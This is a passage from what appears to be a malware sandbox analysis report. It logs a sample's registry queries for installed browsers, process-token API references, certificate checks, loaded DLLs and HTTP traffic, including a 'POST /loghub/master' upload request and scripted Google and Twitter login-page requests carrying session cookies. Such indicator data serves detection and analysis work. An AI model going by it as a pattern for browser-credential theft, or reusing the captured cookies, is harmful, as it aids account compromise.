Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "")68:T449,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "00000000-00005896.00000000.66933.00125000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00003996.00000000.68333.00145000.00000002.mdmp, 00000000-00003996.00000001.70040.0014D000.00000004.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp")69:T164f,"GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 05:49:34 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 726 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 05:59:15 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 147 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Cache-Control: max-age = 14400 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 05:59:15 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 150 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 06:00:37 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 68 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 06:00:37 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 69 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGNkd7zfgP4rEhC%2BpCYwNEA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 05:59:01 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 173 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC4wBUGz%2FM%2FbxJoyJUH9Zs4 HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 05:25:33 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2192 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 05:02:36 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3574 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 05:02:36 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3575 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32.......6a:T624,file/memory contains long string with (Indicator: "text/javascript"; File: "urlref_httpstwitter.comiflowlogin") Found string "" (Indicator: "text/javascript"; File: "MQ2TKTX6.htm") Found string "" (Indicator: "text/javascript"; File: "MQ2TKTX6.htm") Found string "" (Indicator: "text/javascript"; File: "MQ2TKTX6.htm") Found string "" (Indicator: "text/javascript"; File: "MQ2TKTX6.htm") Found string "'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'" (Indicator: "text/javascript"; File: "prototype-1.7_1_.js")6b:Tff6,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00005192.00001448.573156.00050000.wprm] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00005056-00000C25-42288237] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00005056-00000BC1-42299984] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00005192-00000BC1-42711958] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00005276-00000BC1-43094567] Observed system executable string:"%WINDIR%\System32\ieframe.dll" [Source: 00000000-00005248-00000C25-44282947] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0\clr.dll" [Source: 00000000-00002928-00000C25-72605282] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00002928-00000C25-72626493] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00002928-00000C25-73556481] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00002928-00000C25-73844989] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00002928-00000C25-73884161] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00002928-00000C25-74391629] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00002928-00000C25-74764009] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00002928-00000C25-74950679] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00002928-00000C25-75953197] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00002928-00000C25-76315265] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll" [Source: 00000000-00002928-00000C25-78892526] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" [Source: 00000000-00002928-00000C25-80237374] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00002928-00000C25-82775823] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" [Source: 00000000-00002928-00000C25-83531879] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.IdentityModel\c2ef5bc545b98a289f02d0b3eddbe280\System.IdentityModel.ni.dll" [Source: 00000000-00002928-00000C25-83967368] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll" [Source: 00000000-00002928-00000C25-85244758] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" [Source: 00000000-00002928-00000C25-91755185] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" [Source: 00000000-00002928-00000C25-97977327] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" [Source: 00000000-00002928-00000C25-100535047]6c:T429,Found http requests in header "POST /loghub/master" Found http requests in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D" Found http requests in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGNkd7zfgP4rEhC%2BpCYwNEA%3D" Found http requests in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC4wBUGz%2FM%2FbxJoyJUH9Zs4" Found http requests in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4" Found http requests in header "POST /api"6d:T3aad,Found requests in header "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: twitter.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:zyIraS8cFId6MCF1GOqByocpXWwgQw:6_kKm3pMn_pWXKXpConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxCHd5n9dYHnrt1TEt9YP3EOhvnR4Za-nMK9-LpM-ba1-KKAI9kcdycYIpcvKPHKI77of7HzA HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:PLQoQL1HlvpKzmME14ND8JD-z3MSJA:DmXnyOZVTVdobmV2"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzTMdAfHtS_YscrSIAZxb-4dLasjqCWI01o-W2GNii_T_ErYEKq4Cn2tqTHQdhyYwZe_OeXlg&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-486430426%3A1699682506786233&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:PLQoQL1HlvpKzmME14ND8JD-z3MSJA:DmXnyOZVTVdobmV2"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:WfP8QpfNwjTFPWAFHBfs3ZUf1NQoXw:JkBmhx1hPKjPqNKHConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyyDHr89asd3gzg-MJVKiEEYjiTpiCK11pulynuEguELD00Zzzrs5C2qx6MltoMSr0_GZSV-9g HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:bk5n-MKURRDOhbp0lY3LCQfChjoyNg:mAcUfRTnST9egbiP"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyws9ZhTcLzrKbEndPkoxklPfK0O4INRSTDSLi5noSPH8tC7FQbpSVcuOGNlVo89egnNo_oi&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-301909774%3A1699682509101929&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:HU1GZgoTW9Cw2hCyan4swU0wzTejNA:gIiFgQlahILYA5Ml"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:HU1GZgoTW9Cw2hCyan4swU0wzTejNA:gIiFgQlahILYA5MlConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyzwRBY-oXuaFJ_HcdT9SqfwhjMnE-ttPT3LKGFgEY83t50xg7HxtqkeCt4O3WLmNvgrZ0jfAg HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:8wxL7mUfTwh74XMgnAh3zAR2OhMFWw:-SctX-9-PIsYDyPE"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzlNHzwCjzsISS21sueESUPDA6Re_NzYRGjzOhWR9a9QOsfk4LhfAY9qMW6b4eOIpVcP5oskg&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1542572330%3A1699682512627359&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:sWf7fqu86CIdMQsDhQS9boTszYmGxw:_0JPe5sGxqQDa_jB"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:sWf7fqu86CIdMQsDhQS9boTszYmGxw:_0JPe5sGxqQDa_jB"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=4553335575188951042&bl=boq_identityfrontendauthuiserver_20231105.08_p1&hl=en-US&_reqid=23104&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S-486430426:1699682506786233",null,null,"AVQVeyzTMdAfHtS_YscrSIAZxb-4dLasjqCWI01o-W2GNii_T_ErYEKq4Cn2tqTHQdhyYwZe_OeXlg"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 165DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:sWf7fqu86CIdMQsDhQS9boTszYmGxw:_0JPe5sGxqQDa_jB"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/reporthttp4xxerror?url=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2F_%2FAccountsSignInUi%2Fdata%2Fbatchexecute%3Frpcids%3DUEkKwb%26source-path%3D%252Fv3%252Fsignin%252Fidentifier%26f.sid%3D4553335575188951042%26bl%3Dboq_identityfrontendauthuiserver_20231105.08_p1%26hl%3Den-US%26_reqid%3D23104%26rt%3Dc&status=400&traceid HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 0DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:sWf7fqu86CIdMQsDhQS9boTszYmGxw:_0JPe5sGxqQDa_jB"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/jserror?script=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fidentifier%3Fcontinue%3Dhttps%253A%252F%252Faccounts.google.com%252F%26followup%3Dhttps%253A%252F%252Faccounts.google.com%252F%26ifkv%3DAVQVeyzTMdAfHtS_YscrSIAZxb-4dLasjqCWI01o-W2GNii_T_ErYEKq4Cn2tqTHQdhyYwZe_OeXlg%26passive%3D1209600%26flowName%3DGlifWebSignIn%26flowEntry%3DServiceLogin%26dsh%3DS-486430426%253A1699682506786233%26theme%3Dglif&error=qb%60https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2F_%2FAccountsSignInUi%2Fdata%2Fbatchexecute%3Frpcids%3DUEkKwb%26source-path%3D%252Fv3%252Fsignin%252Fidentifier%26f.sid%3D4553335575188951042%26bl%3Dboq_identityfrontendauthuiserver_20231105.08_p1%26hl%3Den-US%26_reqid%3D23104%26rt%3Dc%60400&line=Not%20available HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 8305DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:sWf7fqu86CIdMQsDhQS9boTszYmGxw:_0JPe5sGxqQDa_jB"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:sWf7fqu86CIdMQsDhQS9boTszYmGxw:_0JPe5sGxqQDa_jB; NID=511=AFAjxOK6Y8N3n5KQBErOMspSnHXdC1RiXeOej5zjZzhCN6kGrJezTtbtUKgWwHPXgsQSOoEQZ98y0uiho3FNmWQWap5u-1ZerwbjbeVztFQbvdEwFjXu49_DGO4V2akKje4AvS-TJRTfPne7AYXvL57O504yM3UdnxGwD--Yn5k"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/jserror?script=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fidentifier%3Fcontinue%3Dhttps%253A%252F%252Faccounts.google.com%252F%26followup%3Dhttps%253A%252F%252Faccounts.google.com%252F%26ifkv%3DAVQVeyzTMdAfHtS_YscrSIAZxb-4dLasjqCWI01o-W2GNii_T_ErYEKq4Cn2tqTHQdhyYwZe_OeXlg%26passive%3D1209600%26flowName%3DGlifWebSignIn%26flowEntry%3DServiceLogin%26dsh%3DS-486430426%253A1699682506786233%26theme%3Dglif&error=qb%60https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2F_%2FAccountsSignInUi%2Fdata%2Fbatchexecute%3Frpcids%3DUEkKwb%26source-path%3D%252Fv3%252Fsignin%252Fidentifier%26f.sid%3D4553335575188951042%26bl%3Dboq_identityfrontendauthuiserver_20231105.08_p1%26hl%3Den-US%26_reqid%3D23104%26rt%3Dc%60400&line=Not%20available HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 8310DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:sWf7fqu86CIdMQsDhQS9boTszYmGxw:_0JPe5sGxqQDa_jB"; in File: "SSL") Found requests in header "GET /generate_204?ZFvuBw HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:sWf7fqu86CIdMQsDhQS9boTszYmGxw:_0JPe5sGxqQDa_jB; NID=511=AFAjxOK6Y8N3n5KQBErOMspSnHXdC1RiXeOej5zjZzhCN6kGrJezTtbtUKgWwHPXgsQSOoEQZ98y0uiho3FNmWQWap5u-1ZerwbjbeVztFQbvdEwFjXu49_DGO4V2akKje4AvS-TJRTfPne7AYXvL57O504yM3UdnxGwD--Yn5k"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:sWf7fqu86CIdMQsDhQS9boTszYmGxw:_0JPe5sGxqQDa_jB; NID=511=U4EfExuy46lTxU-OPGB5KrKft0q7rMFs4O-GFzu2YODXCAlxGCETfj854lnNqUQgxkvbdO-0KaRXpiM-4nVkgG-sthzmPC7GLAv_GKV4aZckPxWtovzZo0X0WYtAVaIZ2vK_9iavBCiLtMBahWSYVp9lQ7DLONtKW23DzbUl7uo"; in File: "SSL") Found requests in 